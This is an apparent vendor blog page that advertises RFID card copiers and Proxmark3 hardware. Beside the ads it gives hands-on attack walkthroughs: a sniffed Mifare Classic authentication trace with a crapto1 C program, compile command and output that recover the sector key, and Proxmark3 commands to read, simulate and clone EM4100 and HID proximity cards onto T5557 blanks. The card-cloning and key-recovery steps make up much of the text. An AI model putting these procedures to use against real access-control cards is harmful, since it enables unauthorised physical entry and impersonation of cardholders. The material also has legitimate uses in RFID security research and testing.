proxmark3 / RFID Cloner / tags / UID changeable card

2013年5月6日星期一

ID / HID / AWID card cloner portable

AWID card, EM 4100 ID card HID card copier portable, used battery for power.
It can copy AWID card, LF HID card and EM card, both of them are LF card(125khz).
The usage is the same as the portable ID card copier.

Can not copy HID indala card!

Feature

Duplicate the card ID from the LF HID card and EM4100/TK4100 card or keyfob for backup purpose
Support 125KHz HID CARD, EM4100 or compatible card format

A quick video of this copier in action

http://www.facebook.com/photo.php?v=116096655253257&set=vb.100005587693138&type=2&theater

125Khz RFID Honeywell HID & EM4100 Card / Tag Reader, Writer, Copier / Cloner!

Incredibly Easy to Read / Edit / Copy / WRITE RFID HID & Rosslare Tags

The most advanced RFID reader / writer available!Clone access cards / tags in seconds!

Duplicate 125Khz HID (Honeywell) and EM4100 (Rosslare and other RFID companies) cards and tags.
Easy to use. Simply read it, and then write it. You can even edit the string to create new variations!

Application

backup or duplicate the HID proxcard ID
customer made the HID card with own or continuous serial no.

Features
• protocol support
- program “HI-RW-T1” as HID Proxcard wiegand format
• - wiegand format support : 24,26,32,34,35,36,37 and 40
• USB 1.1/2.0 interface (virtual com port)
- no external power source needed
- need USB driver installation
• Built-in LED and buzzer
• Built-in transceiver antenna
• Read/write distance : ISO card (~2-3 cm)
• Free programmer program
• Card size version (95x60x10)mm -- It's a small device

The device is connected to computer via a mini USB cable, not batterry needed.

See how to use it

1. plug the device to computer and install the driver.

[1] install the following USB driver before connect the readerto PC
run CD path:\USB driver\CH341SER.EXE
[2] after driver installation , connect the reader to PC through the USB cable
[3] it will detect and install the “USB to serial “ virtual com port driver automatically
[4] a “virtual com port” will be found from the device manager as follow :
(Remarks : writer program can support com port number 1-16 only)

2013年2月28日星期四

Getting the sector key of a mifare card

Author : xfpga Date : 2012-12-12 12:28:59

Getting the sector key of a mifare card(from google code of proxmark3)

Snooping on Mifare communications

This is a working example of how the sector keys of mifare cards can be retrieved with a Proxmark3, using the "crapto-1" package found on Google Code.

The trace below is taken from a hi14asnoop session followed by hf 14a list to get the beginning of the authentication & encryption protocol :

Commands	Comment
+ 561882 : 1 : 26	REQA
+ 64 : 2 : TAG 04 00	Answer reqa
+ 10217 : 2 : 93 20	Select
+ 64 : 5 : TAG 9c 59 9b 32 6c	The card’s UID is therefore : 9c 59 9b 32
+ 12313 : 9 : 93 70 9c 59 9b 32 6c 6b 30	Select with UID
+ 64 : 3 : TAG 08 b6 dd	Tag type (Mifare 1K)
+ 923318 : 4 : 60 00 f5 7b	AUTH (block 00)
+ 112 : 4 : TAG 82 a4 16 6c	Tag challenge (nt, "Nonce Tag")
+ 6985 : 8 : a1 e4 ! 58 ce ! 6e ea ! 41 e0 !	nr XOR ks1 (Nonce Reader, encrypted, 4 bytes), ar XOR ks2 (Answer Reader to Nonce Tag, encrypted)
+ 64 : 4 : TAG 5c ! ad f4 39 !	at XOR ks3 (Answer Tag, encrypted)

In order to extract the key for sector 0 from the exchange, we need the following elements :

Tag UID
Tag challenge (nt)
Reader challenge, encrypted (nr xor ks1, aka nr)
Reader response, encrypted (ar XOR ks2, aka ar)
Tag response, encrypted (at XOR ks3, aka at)

In the example above :

UID : 0x9c599b32
nt : 0x82a4166c
nr : 0xa1e458ce
ar : 0x6eea41e0
at : 0x5cadf439

Those can then be used in the following "crapto1" test program :

// Test-file: test2.c
#include "crapto1.h"
#include <stdio.h>
int main (void)
{
 struct Crypto1State *revstate;
 uint64_t lfsr;
 unsigned char* plfsr = (unsigned char*)&lfsr;


 uint32_t uid                = 0x9c599b32;
 uint32_t tag_challenge      = 0x82a4166c;
 uint32_t nr_enc             = 0xa1e458ce;
 uint32_t reader_response    = 0x6eea41e0;
 uint32_t tag_response       = 0x5cadf439;

 uint32_t ks2                = reader_response ^ prng_successor(tag_challenge, 64);
 uint32_t ks3                = tag_response ^ prng_successor(tag_challenge, 96);

 printf("nt': %08x\n",prng_successor(tag_challenge, 64));
 printf("nt'': %08x\n",prng_successor(tag_challenge, 96));

 printf("ks2: %08x\n",ks2);
 printf("ks3: %08x\n",ks3);

 revstate = lfsr_recovery(ks2, ks3);
 lfsr_rollback(revstate, 0, 0);
 lfsr_rollback(revstate, 0, 0);
 lfsr_rollback(revstate, nr_enc, 1);
 lfsr_rollback(revstate, uid ^ tag_challenge, 0);
 crypto1_get_lfsr(revstate, &lfsr);
 printf("Found Key: [%02x %02x %02x %02x %02x %02x]\n\n",plfsr[0],plfsr[1],plfsr[2],plfsr[3],plfsr[4],plfsr[5]);

 return 0;
}

Then compiled with :

#gcc -o test2 test2.c crapto1.c crypto1.c

And run like this :

./test2
nt': 8d65734b
nt'': 9a427b20
ks2: e38f32ab
ks3: c6ef8f19
Found Key: [ff ff ff ff ff ff]

you can use the gui soft to do so, it is the same.

proxmark3 read simulation and clone em4100 id card

em410xread `[clock]`

Reads the ID from an EM410x tag (the plot should contain the raw tag). Clock is optional, usually has a value of 64.

Example :

> loread> losamples 2000
> em410xreadAuto-detected clock rate: 64
EM410x Tag ID: 1a0041375d

em410xsim `[tag id]`

Simulates an EM410x tag with the specified ID. Example :

> em410xsim 1a0041375d
(The orange light will turn on. Press the button on the PM3 to stop emulating the tag.)

em410xwatch

Watches for an EM410x tag until it detects one. Essentially "loread + losamples 2000 + em410xread" until a tag is detected. Example :

> em410xwatchAuto-detected clock rate: 64
EM410x Tag ID: 1a0041375d

em410xwrite
copy em4100 id to a t5557 card.

proxmark3> lf em4x
help             This help
em410xread       [clock rate] -- Extract ID from EM410x tag
em410xsim        <UID> -- Simulate EM410x tag
em410xwatch      Watches for EM410x tags
em410xwrite      <UID> <'0' T5555> <'1' T55x7> -- Write EM410x UID to T5555(Q5)
or T55x7 tag
em4x50read       Extract data from EM4x50 tag
proxmark3>

--------
gezhi electronic
www.xfpga.com or ebay shop
email: xfpga@hotmail.com
qq:1074079485
tel: +86-13113330725
Michael

Clone HID card with proxmark3

Clone HID card with proxmark3
1. use lf hid fskdemo to read the hid card ' ID.

2. replace a blank t5557 card to the antenna,
use lf hid clone xxx(the ID you just read)

That is all.
here is a video of howto do it.
www.youtube.com/watch?v=MXljGb47IKM

snoop mifare card and extract the key video

snoop mifare card and extract the key video

www.youtube.com/watch?v=kTvb7tjbSTI

2013年2月26日星期二